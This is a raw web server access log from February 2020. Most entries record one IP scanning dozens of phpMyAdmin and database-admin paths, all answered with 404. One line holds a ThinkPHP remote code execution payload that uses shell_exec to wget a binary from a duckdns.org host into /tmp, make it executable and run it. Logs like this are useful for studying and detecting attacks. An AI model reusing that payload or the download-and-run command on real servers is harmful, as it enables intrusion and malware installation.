85.244.166.12 - - [09/Feb/2020:23:11:29 +0100] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:29 +0100] "GET /program/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:30 +0100] "GET /PMA/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:30 +0100] "GET /dbadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:30 +0100] "GET /pma/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:30 +0100] "GET /db/index.php?lang=en HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:31 +0100] "GET /admin/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:31 +0100] "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:31 +0100] "GET /db/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:31 +0100] "GET /sqlmanager/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:32 +0100] "GET /mysqlmanager/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:32 +0100] "GET /php-myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:32 +0100] "GET /phpmy-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:32 +0100] "GET /mysqladmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:33 +0100] "GET /mysql-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:33 +0100] "GET /admin/phpmyadmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:33 +0100] "GET /admin/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:33 +0100] "GET /admin/sysadmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:34 +0100] "GET /admin/sqladmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:34 +0100] "GET /admin/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:34 +0100] "GET /admin/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:35 +0100] "GET /admin/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:35 +0100] "GET /mysql/pma/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:35 +0100] "GET /mysql/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:35 +0100] "GET /mysql/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:36 +0100] "GET /mysql/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:36 +0100] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:36 +0100] "GET /sql/php-myadmin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:36 +0100] "GET /sql/phpmy-admin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:37 +0100] "GET /sql/sql/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:37 +0100] "GET /sql/myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:37 +0100] "GET /sql/webadmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:37 +0100] "GET /sql/sqlweb/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:38 +0100] "GET /sql/websql/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:38 +0100] "GET /sql/webdb/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:38 +0100] "GET /sql/sqladmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:38 +0100] "GET /sql/sql-admin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:39 +0100] "GET /sql/phpmyadmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:39 +0100] "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:39 +0100] "GET /sql/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:39 +0100] "GET /db/myadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:40 +0100] "GET /db/webadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:40 +0100] "GET /db/dbweb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:40 +0100] "GET /db/websql/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:40 +0100] "GET /db/webdb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:40 +0100] "GET /db/dbadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:41 +0100] "GET /db/db-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:41 +0100] "GET /db/phpmyadmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:41 +0100] "GET /db/phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:41 +0100] "GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:42 +0100] "GET /administrator/phpmyadmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:42 +0100] "GET /administrator/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:42 +0100] "GET /administrator/db/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:42 +0100] "GET /administrator/web/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:43 +0100] "GET /administrator/pma/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:43 +0100] "GET /administrator/PMA/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:43 +0100] "GET /administrator/admin/index.php?lang=en HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:43 +0100] "GET /phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:43 +0100] "GET /phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:44 +0100] "GET /phpMyAdmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:44 +0100] "GET /phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:44 +0100] "GET /php-my-admin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:44 +0100] "GET /PMA2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:45 +0100] "GET /PMA2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:45 +0100] "GET /PMA2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:45 +0100] "GET /PMA2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:46 +0100] "GET /PMA2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:46 +0100] "GET /PMA2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:46 +0100] "GET /PMA2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:47 +0100] "GET /PMA2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:47 +0100] "GET /PMA2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:47 +0100] "GET /PMA2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:48 +0100] "GET /pma2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:48 +0100] "GET /pma2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:48 +0100] "GET /pma2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:48 +0100] "GET /pma2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:49 +0100] "GET /pma2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:49 +0100] "GET /pma2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:49 +0100] "GET /pma2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:49 +0100] "GET /pma2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:49 +0100] "GET /pma2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:50 +0100] "GET /pma2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:50 +0100] "GET /phpmyadmin2011/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:50 +0100] "GET /phpmyadmin2012/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:50 +0100] "GET /phpmyadmin2013/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:51 +0100] "GET /phpmyadmin2014/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:51 +0100] "GET /phpmyadmin2015/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:51 +0100] "GET /phpmyadmin2016/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:51 +0100] "GET /phpmyadmin2017/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:52 +0100] "GET /phpmyadmin2018/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:52 +0100] "GET /phpmyadmin2019/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:52 +0100] "GET /phpmyadmin2020/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:11:52 +0100] "GET /index.php?lang=en HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
112.27.187.117 - - [09/Feb/2020:23:12:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
85.244.166.12 - - [09/Feb/2020:23:12:19 +0100] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:20 +0100] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:20 +0100] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:20 +0100] "GET /phpmyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:20 +0100] "GET /mysql/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:21 +0100] "GET /database/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:21 +0100] "GET /phpmyadmin1/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:21 +0100] "GET /phpmyadmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:21 +0100] "GET /phpmyadmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:12:21 +0100] "GET /phpmyadmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
